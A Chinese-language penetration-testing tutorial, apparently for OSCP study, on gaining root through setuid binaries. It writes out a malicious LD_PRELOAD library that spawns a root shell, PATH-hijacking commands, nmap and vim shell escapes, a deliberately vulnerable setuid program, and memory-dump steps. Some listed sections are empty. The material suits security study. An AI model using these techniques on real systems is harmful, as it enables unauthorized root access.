在Linux系统中,权限提升(Privilege Escalation)是指普通用户通过各种手段获取更高权限(通常是root权限)的过程。这种技术在实际渗透测试和系统安全评估中具有重要地位,也是OSCP认证考试的核心考察内容之一。
Linux系统采用基于用户和组的权限管理模型,每个文件和进程都有对应的所有者(owner)和所属组(group),并通过读(r)、写(w)、执行(x)三种基本权限控制访问。权限提升的本质就是突破这种限制,获取本不应拥有的资源访问能力。
注意:本文讨论的技术仅用于合法的安全测试和教育目的,未经授权对他人系统进行渗透测试可能违反法律。
Setuid(Set User ID)是Linux/Unix系统中的一种特殊权限机制,当可执行文件设置了setuid位时,任何用户执行该文件时都会以文件所有者的身份运行。这个特性通常用于允许普通用户临时获取更高权限来完成特定任务。
技术实现上,当内核加载一个设置了setuid位的可执行文件时,会将进程的有效用户ID(effective UID)设置为文件所有者的UID,而保持真实用户ID(real UID)不变。这种分离设计使得系统能够区分"你是谁"和"你以什么身份运行"。
查看setuid文件的典型方法:
bash复制find / -perm -4000 -type f 2>/dev/null
标准Linux系统中常见的setuid程序包括:
这些程序通常属于root用户,且经过严格的安全审计。但在实际环境中,管理员或开发者可能会无意中创建不安全的setuid程序,这就为权限提升提供了可能。
在渗透测试中,寻找可利用的setuid程序是提权的第一步。除了基本的find命令外,还可以使用以下方法:
bash复制# 查找所有setuid文件并显示详细信息
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# 查找世界可写且设置了setuid的文件
find / -perm -4002 -type f 2>/dev/null
# 查找root拥有的setuid文件
find / -user root -perm -4000 -type f 2>/dev/null
当setuid程序动态加载共享库时,如果未指定完整路径或权限控制不当,攻击者可以通过LD_PRELOAD或LD_LIBRARY_PATH环境变量注入恶意库。
利用步骤:
c复制// evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
setuid(0);
system("/bin/bash");
}
bash复制gcc -shared -fPIC evil.c -o evil.so
bash复制export LD_PRELOAD=/path/to/evil.so
如果setuid程序通过相对路径调用其他程序,且攻击者能控制PATH环境变量,就可能执行恶意程序而非预期程序。
利用方法:
bash复制# 创建恶意程序
echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
# 劫持PATH
export PATH=/tmp:$PATH
某些setuid程序可能意外泄漏文件描述符或未正确检查文件权限。例如,如果一个setuid程序以root身份打开文件但未正确关闭,攻击者可能通过/proc/[pid]/fd/目录访问这些文件描述符。
在实战中可以使用以下工具辅助发现setuid漏洞:
bash复制mount -o remount,nosuid /home
较旧版本的nmap提供交互模式(--interactive),当以setuid root安装时,可以通过!sh命令获得root shell。
复现步骤:
bash复制sudo install -m 4755 /usr/bin/nmap /tmp/nmap
/tmp/nmap --interactive
nmap> !sh
如果vim被配置为setuid root(虽然不常见但可能发生),可以通过以下方式提权:
bash复制vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
假设系统中有以下C程序编译后设置了setuid root:
c复制// vuln.c
#include <stdlib.h>
int main() {
system("id");
return 0;
}
攻击者可以通过环境变量注入命令:
bash复制export PATH=/tmp:$PATH
echo '/bin/bash' > /tmp/id
chmod +x /tmp/id
./vuln
在OSCP考试环境中,setuid提权是常见考点,需要注意:
bash复制strings /path/to/suid_binary
当直接利用困难时,可以尝试从进程内存中提取敏感信息:
bash复制# 查找运行中的setuid进程
ps -ef | grep root
# 转储进程内存
gcore [pid]
某些情况下,setuid漏洞可与内核漏洞组合实现更可靠的提权。例如,通过setuid程序触发内核条件竞争漏洞。
在Docker等容器环境中:
bash复制docker run --security-opt="no-new-privileges" ...
掌握setuid提权技术需要深入理解Linux权限模型和进程安全机制。在实际渗透测试中,这种技术往往需要与其他方法(如内核漏洞、配置错误等)结合使用。
推荐延伸学习资源: